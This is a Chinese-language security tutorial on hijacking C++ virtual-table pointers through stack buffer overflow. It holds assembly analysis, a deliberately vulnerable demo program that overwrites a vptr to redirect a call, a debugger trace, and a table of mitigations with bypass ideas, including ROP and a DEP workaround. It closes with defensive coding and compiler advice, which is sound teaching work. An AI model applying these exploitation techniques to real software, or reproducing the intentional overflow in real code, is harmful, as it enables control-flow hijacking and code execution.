C++ 通過 virtual 關鍵字實現運行時多態,這是物件導向設計的基石。然而,這一機制的底層實現——虛函數表 與 虛指針——在內存安全防護缺失(如棧溢出)時,可能成為攻擊者劫持控制流的關鍵路徑。本文從汇編層面剖析虛函數調用機制,演示如何通過棧緩衝區溢出覆蓋虛表指針,實現任意代碼執行,並討論現代防禦機制的對抗與繞過。
class Base { public: void test() { printf("Base::test\n"); } };
int main() { Base obj; obj.test(); }
反彙編:
lea ecx, [obj] ; this 指針傳遞 (ecx) call Base::test ; 直接相對跳轉 (E8 xx xx xx xx) ; OpCode: E8 = CALL rel32,目標地址編譯期固定
特點:編譯期確定目標地址,指令流固定,無內存間接引用。
class Base { public: virtual void test() { printf("Base::test\n"); } };
int main() { Base obj; Base* ptr = &obj; ptr->test(); }
反彙編關鍵段:
mov eax, dword ptr [ptr] ; eax = obj 地址 (vptr 所在位置) mov edx, dword ptr [eax] ; edx = *vptr = 虛表地址 mov eax, dword ptr [edx] ; eax = 虛表[0] = test() 函數地址 call eax ; 間接調用:跳轉到 eax 指向的地址
特點:雙重間接引用 —— 對象指針 → 虛表指針 → 函數地址。這種「盲目信任內存」的特性是漏洞利用的根基。

strcpy、memcpy 無長度檢查)。buf,緊鄰目標對象 obj。shellcode:前 4 字節為偽造虛表(指向目標函數 fakeFunc),中間填充垃圾字節對齊,最後 4 字節覆蓋 obj 的 vptr 指向 buf 偽造虛表位置。memcpy(buf, shellcode, len)),覆蓋 obj.vptr。objPtr->test(),程序讀取偽造虛表,跳轉執行 fakeFunc。#include <cstdio>
#include <cstring>
#include <windows.h> // for VirtualProtect 等(若需繞過 DEP)
class Base {
public:
unsigned char buff[4]; // 佔位,使對象大小明確
Base() { memset(buff, 0xAA, 4); }
virtual void test() { printf("Base::test\n"); }
};
void fakeFunc() {
printf("!!! fakeFunc 被調用:控制流劫持成功 !!!\n");
// 實際攻擊中這裡可執行 shellcode 或 ROP 鏈
}
// 偽造數據:[偽造虛表(4B)] + [填充(12B)] + [新 vptr 指向偽造虛表(4B)]
// 假設 fakeFunc 地址為 0x00401000 (小端序: 00 10 40 00)
// buf 地址假設為 0x0012FF08,obj 地址 0x0012FF18
unsigned char shellcode[] = {
0x00, 0x10, 0x40, 0x00, // 偽造虛表:第 0 項 = fakeFunc 地址
0xCC, 0xCC, 0xCC, 0xCC, // 填充
0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC,
0x08, 0xFF, 0x12, 0x00 // 新 vptr = buf 地址 (0x0012FF08)
};
int main() {
Base* objPtr;
Base obj1;
unsigned char buf[8] = {0}; // 故意分配小緩衝區
objPtr = &obj1;
printf("obj1 地址: %p\n", &obj1);
printf("buf 地址: %p\n", buf);
printf("溢出前 obj1.vptr: %p\n", *(void**)&obj1);
// 觸發溢出:複製 20 字節到 8 字節緩衝區
memcpy(buf, shellcode, sizeof(shellcode)); // sizeof=20
printf("溢出後 obj1.vptr: %p\n", *(void**)&obj1);
printf("調用 objPtr->test()...\n");
objPtr->test(); // 此處將跳轉到 fakeFunc
return 0;
}
0:000> dd buf L8 0012ff08 00000000 00000000 cccccccc cccccccc ; 溢出前 0012ff18 0012ff18 0043b1c0 aaaaaaaa cccccccc ; obj1.vptr=0x0043b1c0 (真虛表) 0:000> dd buf L8 ; memcpy 後 0012ff08 00401000 cccccccc cccccccc cccccccc ; buf[0..3] = fakeFunc 地址 0012ff18 0012ff08 aaaaaaaa cccccccc cccccccc ; obj1.vptr 被覆蓋為 0x0012ff08 (buf 地址) 0:000> t ; 單步執行 objPtr->test() eax=0012ff18 ; objPtr edx=0012ff08 ; *eax = 偽造虛表地址 eax=00401000 ; *edx = 偽造虛表[0] = fakeFunc call eax ; 跳轉執行 fakeFunc!
| 防禦機制 | 原理 | 對 vptr 溢出利用的影響 | 繞過思路 |
|---|---|---|---|
| ASLR (地址空間佈局隨機化) | 模塊基址、棧、堆隨機化 | 無法預知 fakeFunc、buf、虛表地址 | 信息洩漏、模塊未啟用 ASLR、部分覆蓋、JIT 噴射 |
| DEP/NX (數據執行保護) | 棧/堆內存不可執行 | 無法直接執行 shellcode | ROP (Return-Oriented Programming)、ret2libc、VirtualProtect 修改頁屬性 |
| Stack Cookie (/GS) | 函數序言/結語插入金絲雀值檢查 | 溢出覆蓋 cookie 導致進程終止 | 信息洩漏 cookie、異常處理器劫持 (SEH)、非線性溢出 |
| SafeSEH / SEHOP | 保護異常處理鏈 | 阻塞 SEH 繞過 | 利用未註冊模塊、堆噴射配合 |
| VTV / VTGuard (MSVC) | 虛表指針完整性驗證 | 間接調用前驗證 vptr 指向合法虛表 | 極難繞過,需找邏輯漏洞或數據唯讀繞過 |
| CFI (控制流完整性) | 間接調用目標合法性驗證 | call eax 目標必須是合法函數入口 | 利用合法函數組合 (COOP)、JOP |
若 DEP 開啟,偽造虛表指向 ROP Gadget 序列:
Fake VTable: [0] = pop eax; ret ; 彈出參數 [1] = pop ebx; ret [2] = mov [eax], ebx; ret ; 任意寫 [3] = xchg eax, esp; ret ; 棧轉移 ...
通過精心佈局棧數據,實現任意代碼執行(如調用 VirtualProtect 關閉 DEP 再執行 Shellcode)。
若可控制對象類型(如通過工廠模式),可將 Base* 指向偽造的 Derived 對象,利用其虛表布局差異實現更精細的利用。
VTGuard 在虛表入口前插入 Cookie,間接調用前驗證。繞過需洩漏 Cookie 或利用未受保護的虛函數(如析構函數)。
strcpy_s、memcpy_s、std::string、std::vector 替代裸指針操作。/GS /guard:cf /dynamicbase /nxcompat (MSVC);-fstack-protector-strong -D_FORTIFY_SOURCE=2 -pie -fPIE (GCC/Clang)。virtual,使用 final 封鎖繼承,減少攻擊面。-fsanitize=cfi,MSVC /guard:cf)。C++ 虛函數表指針溢出利用,本質上是 內存安全漏洞(棧溢出)與 語言運行時機制(動態分發)的結合。理解其原理不僅有助於滲透測試與漏洞挖掘,更能指導開發者編寫安全代碼、配置編譯器強化選項、部署纵深防禦體系。在現代環境下,單一 vptr 劫持已難以直接實現 RCE,但作為利用鏈中的關鍵一環(如配合 UAF、類型混淆、信息洩漏),其威脅依然存在。安全無絕對,唯有持續構建「編譯期防護 + 運行時檢測 + 代碼審計規範」的多層防線。